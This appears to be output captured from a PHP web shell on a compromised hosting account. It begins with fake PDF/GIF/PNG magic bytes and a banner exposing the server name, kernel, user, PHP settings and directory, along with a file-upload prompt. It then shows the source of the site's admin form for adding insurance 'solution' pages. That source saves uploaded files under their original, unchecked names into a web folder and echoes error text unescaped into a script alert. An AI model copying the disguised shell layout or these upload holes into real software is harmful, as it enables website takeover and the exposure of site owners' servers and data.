%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6ca89795/admin/ |
Upload File : |
<?php
include('function.php');
include('header.php');
if (isset($_POST['submit'])) {
include('../dbcon.php');
$submenu = $_POST['submenu'];
$title = $_POST['title'];
$subtitle1 = $_POST['subtitle1'];
$insurence = $_POST['insurence'];
$features = $_POST['features'];
$page_title = $_POST['page_title'];
$description = $_POST['description'];
$keywords = $_POST['keywords'];
$robots = $_POST['robots'];
$canonical = $_POST['canonical'];
$aboutimagename = $_FILES['aboutimage']['name'];
$tempname = $_FILES['aboutimage']['tmp_name'];
$titleslug = slug($title);
mysqli_begin_transaction($conn);
try {
$qry = "INSERT INTO `solution` (`title`, `submenu`, `titleslug`, `page_title`, `description`, `keywords`, `robots`, `canonical`, `subtitle1`, `insurence`, `features`, `image`)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
$stmt = mysqli_prepare($conn, $qry);
if ($stmt) {
mysqli_stmt_bind_param($stmt, "ssssssssssss", $title, $submenu, $titleslug, $page_title, $description, $keywords, $robots, $canonical, $subtitle1, $insurence, $features, $aboutimagename);
if (move_uploaded_file($tempname, './dataimg/' . $aboutimagename)) {
$run = mysqli_stmt_execute($stmt);
if ($run) {
$project_id = mysqli_insert_id($conn);
if (isset($_FILES['serviceentryimage']) && !empty($_FILES['serviceentryimage']['tmp_name'])) {
$qry = "INSERT INTO `service_entry_images` (`service_content_id`, `image_path`, `image_text`, `created_at`) VALUES (?, ?, ?, ?)";
$stmt = mysqli_prepare($conn, $qry);
if ($stmt) {
foreach ($_FILES['serviceentryimage']['tmp_name'] as $key => $tempname) {
if (is_uploaded_file($tempname)) {
$imageName = uniqid() . "_" . basename($_FILES['serviceentryimage']['name'][$key]);
$targetFile = "./dataimg/" . $imageName;
if (move_uploaded_file($tempname, $targetFile)) {
$imageTexts = isset($_POST['image_text'][$key]) ? $_POST['image_text'][$key] : [];
foreach ($imageTexts as $text) {
$imageText = $text ?: "";
$createdAt = date('Y-m-d H:i:s');
mysqli_stmt_bind_param($stmt, "ssss", $project_id, $imageName, $imageText, $createdAt);
if (!mysqli_stmt_execute($stmt)) {
error_log("MySQL Error: " . mysqli_stmt_error($stmt));
}
}
} else {
error_log("Failed to upload image: " . $_FILES['serviceentryimage']['name'][$key]);
}
}
}
mysqli_stmt_close($stmt);
} else {
error_log("Prepared statement error: " . mysqli_error($conn));
}
}
if (isset($_FILES['image']) && !empty($_FILES['image']['tmp_name'])) {
$qry = "INSERT INTO `service_features` (`service_content_id`, `image`, `features_list`, `created_at`) VALUES (?, ?, ?, ?)";
$stmt = mysqli_prepare($conn, $qry);
if ($stmt) {
foreach ($_FILES['image']['tmp_name'] as $key => $tempname) {
if (is_uploaded_file($tempname)) {
$imageName = uniqid() . "_" . basename($_FILES['image']['name'][$key]);
$targetFile = "./dataimg/" . $imageName;
if (move_uploaded_file($tempname, $targetFile)) {
if (isset($_POST['features_list'][$key])) {
$featuresList = $_POST['features_list'][$key];
$createdAt = date('Y-m-d H:i:s');
foreach ($featuresList as $text) {
$featureText = $text ?: "";
mysqli_stmt_bind_param($stmt, "isss", $project_id, $imageName, $featureText, $createdAt);
if (!mysqli_stmt_execute($stmt)) {
error_log("MySQL Error: " . mysqli_stmt_error($stmt));
}
}
}
} else {
error_log("Failed to upload feature image: " . $_FILES['image']['name'][$key]);
}
}
}
mysqli_stmt_close($stmt);
} else {
error_log("Prepared statement error: " . mysqli_error($conn));
}
}
if (!empty($_POST['faqs'])) {
$qry = "INSERT INTO `service_faqs` (`service_content_id`, `question`, `answer`) VALUES (?, ?, ?)";
$stmt = mysqli_prepare($conn, $qry);
foreach ($_POST['faqs'] as $faq) {
$question = $faq['question'];
$answer = $faq['answer'];
mysqli_stmt_bind_param($stmt, "iss", $project_id, $question, $answer);
mysqli_stmt_execute($stmt);
}
}
if (!empty($_POST['insurence_tab'])) {
$qry = "INSERT INTO `insurence_tab` (`service_content_id`, `question`, `answer`) VALUES (?, ?, ?)";
$stmt = mysqli_prepare($conn, $qry);
foreach ($_POST['insurence_tab'] as $faq) {
$question = $faq['question'];
$answer = $faq['answer'];
mysqli_stmt_bind_param($stmt, "iss", $project_id, $question, $answer);
mysqli_stmt_execute($stmt);
}
}
mysqli_commit($conn);
echo '<script>alert("Data and Media Uploaded Successfully");</script>';
} else {
throw new Exception('Main record insert failed.');
}
} else {
throw new Exception('Image upload failed.');
}
} else {
throw new Exception('Prepared statement error: ' . mysqli_error($conn));
}
} catch (Exception $e) {
mysqli_rollback($conn);
echo '<script>alert("Error: ' . $e->getMessage() . '");</script>';
}
}
?>
<div class="container">
<div class="title">Solution</div>
<script src="https://cdn.ckeditor.com/4.16.2/standard/ckeditor.js"></script>
<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="title">Title</label>
<input type="text" class="form-control" name="title" placeholder="Title" required>
</div>
<div class="form-group">
<label for="submenu">Sub Menu Name</label>
<input type="text" class="form-control" name="submenu" placeholder="Sub Menu Name" required>
</div>
<div class="form-group">
<label for="page_title">Page Title</label>
<input type="text" class="form-control" name="page_title" placeholder="Page Title" required>
</div>
<div class="form-group">
<label for="description">Description</label>
<textarea class="form-control" name="description" placeholder="Description" required></textarea>
</div>
<div class="form-group">
<label for="keywords">Keywords</label>
<input type="text" class="form-control" name="keywords" placeholder="Keywords">
</div>
<div class="form-group">
<label for="robots">Robots</label>
<input type="text" class="form-control" name="robots" placeholder="Robots">
</div>
<div class="form-group">
<label for="canonical">Canonical</label>
<input type="text" class="form-control" name="canonical" placeholder="Canonical">
</div>
<div class="form-group">
<label for="subtitle1">Content</label>
<textarea id="subtitle1" name="subtitle1"></textarea>
</div>
<div class="form-group">
<label for="insurence">Insurance Policy</label>
<textarea id="insurence" name="insurence"></textarea>
</div>
<div class="form-group">
<label for="insurance-tab">Insurance Tab</label>
<div id="insurance-tab">
<div class="field-group">
<label for="question-0">Question</label>
<input type="text" name="insurence_tab[0][question]" placeholder="Enter question" class="form-control" required>
<label for="answer-0">Answer</label>
<textarea name="insurence_tab[0][answer]" placeholder="Enter answer" class="form-control" required></textarea>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
</div>
<button type="button" class="btn btn-success" onclick="addInsuranceField()">Add More Insurance Tabs</button>
</div>
<div class="form-group">
<label for="aboutimage">Image</label>
<input type="file" class="form-control" name="aboutimage" required>
</div>
<div class="form-group">
<label for="serviceentryimage">Service Entry Image With Text (Multiple Uploads)</label>
<div id="service-entry-images">
<div class="field-group">
<label>Image:</label>
<input type="file" class="form-control" name="serviceentryimage[]" required>
<div class="image-texts">
<label>Image Text (Optional):</label>
<input type="text" class="form-control" name="image_text[0][]" placeholder="Enter image description">
</div>
<button type="button" class="btn btn-success btn-sm" onclick="addImageText(this)">Add More Image Text</button>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
</div>
<button type="button" class="btn btn-success" onclick="addField('service-entry-images')">Add More Service Entry Images</button>
</div>
<div class="form-group">
<label for="features">Features Content</label>
<textarea id="features" name="features"></textarea>
</div>
<div class="form-group">
<label for="featureslist">Features List with Image</label>
<div id="featureslist">
<div class="field-group">
<label>Image:</label>
<input type="file" class="form-control" name="image[]" required>
<label>Features List</label>
<input type="text" class="form-control" name="features_list[0]" placeholder="Enter image description">
<button type="button" class="btn btn-success btn-sm" onclick="addFeaturesList(this)">Add More Features List</button>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
</div>
<button type="button" class="btn btn-success" onclick="addFieldContainer('featureslist')">Add More Features List</button>
</div>
<div class="form-group">
<label for="servicefaqs">Service FAQs</label>
<div id="service-faqs">
<div class="field-group">
<label for="faq-question">Question</label>
<input type="text" name="faqs[0][question]" placeholder="Enter question" class="form-control" required>
<label for="faq-answer">Answer</label>
<textarea name="faqs[0][answer]" placeholder="Enter answer" class="form-control" required></textarea>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
</div>
<button type="button" class="btn btn-success" onclick="addFaqField()">Add More FAQs</button>
</div>
<button type="submit" name="submit" class="btn btn-primary">Submit</button>
</form>
</div>
<script>
CKEDITOR.replace('subtitle1');
CKEDITOR.replace('insurence');
CKEDITOR.replace('features');
function addInsuranceField() {
let index = document.querySelectorAll('#insurance-tab .field-group').length;
let newField = `
<div class="field-group">
<label for="question-${index}">Question</label>
<input type="text" name="insurence_tab[${index}][question]" placeholder="Enter question" class="form-control" required>
<label for="answer-${index}">Answer</label>
<textarea name="insurence_tab[${index}][answer]" placeholder="Enter answer" class="form-control" required></textarea>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
`;
document.getElementById('insurance-tab').insertAdjacentHTML('beforeend', newField);
}
function addImageText(button) {
let parent = button.closest('.field-group');
let index = parent.querySelectorAll('.image-texts input').length;
let newTextInput = `
<input type="text" class="form-control" name="image_text[${index}][]" placeholder="Enter image description">
`;
parent.querySelector('.image-texts').insertAdjacentHTML('beforeend', newTextInput);
}
function addField(containerId) {
let container = document.getElementById(containerId);
let index = container.querySelectorAll('.field-group').length;
let newField = `
<div class="field-group">
<label>Image:</label>
<input type="file" class="form-control" name="serviceentryimage[]" required>
<div class="image-texts">
<label>Image Text (Optional):</label>
<input type="text" class="form-control" name="image_text[${index}][]" placeholder="Enter image description">
</div>
<button type="button" class="btn btn-success btn-sm" onclick="addImageText(this)">Add More Image Text</button>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
`;
container.insertAdjacentHTML('beforeend', newField);
}
function deleteField(button) {
let fieldGroup = button.closest('.field-group');
fieldGroup.remove();
}
function addFaqField() {
let index = document.querySelectorAll('#service-faqs .field-group').length;
let newField = `
<div class="field-group">
<label for="faq-question-${index}">Question</label>
<input type="text" name="faqs[${index}][question]" placeholder="Enter question" class="form-control" required>
<label for="faq-answer-${index}">Answer</label>
<textarea name="faqs[${index}][answer]" placeholder="Enter answer" class="form-control" required></textarea>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
`;
document.getElementById('service-faqs').insertAdjacentHTML('beforeend', newField);
}
function deleteField(button) {
button.closest('.field-group').remove();
}
function addFeaturesList(button) {
let parent = button.closest('.field-group');
let index = parent.parentElement.querySelectorAll('.field-group').length; // This counts the number of field groups
let newTextInput = `
<input type="text" class="form-control" name="features_list[${index}]" placeholder="Enter Features List">
`;
let imageTextContainer = parent.querySelector('.image-texts');
if (!imageTextContainer) {
imageTextContainer = document.createElement('div');
imageTextContainer.classList.add('image-texts');
parent.appendChild(imageTextContainer);
}
imageTextContainer.insertAdjacentHTML('beforeend', newTextInput);
}
// Function to add a new field container for image and feature list
function addFieldContainer(containerId) {
let container = document.getElementById(containerId);
let index = container.querySelectorAll('.field-group').length; // Get the number of field groups in this container
let newField = `
<div class="field-group">
<label>Features List</label>
<input type="text" class="form-control" name="features_list[${index}]" placeholder="Enter Features List">
<button type="button" class="btn btn-success btn-sm" onclick="addFeaturesList(this)">Add More Features List</button>
<label>Image:</label>
<input type="file" class="form-control" name="image[]" required>
<button type="button" class="btn btn-danger" onclick="deleteField(this)">Delete</button>
</div>
`;
container.insertAdjacentHTML('beforeend', newField);
}
</script>
</div>
<!-- / Content -->
<div class="content-backdrop fade"></div>
</div>
<!-- Content wrapper -->
</div>
<!-- / Layout page -->
</div>
</div>
<!-- / Layout wrapper -->
<!-- Core JS -->
<!-- build:js assets/vendor/js/core.js -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<!-- endbuild -->
<!-- Vendors JS -->
<!-- Main JS -->
<script src="../assets/js/main.js"></script>
<!-- Page JS -->
<!-- Place this tag in your head or just before your close body tag. -->
<script async defer src="https://buttons.github.io/buttons.js"></script>
</body>
</html>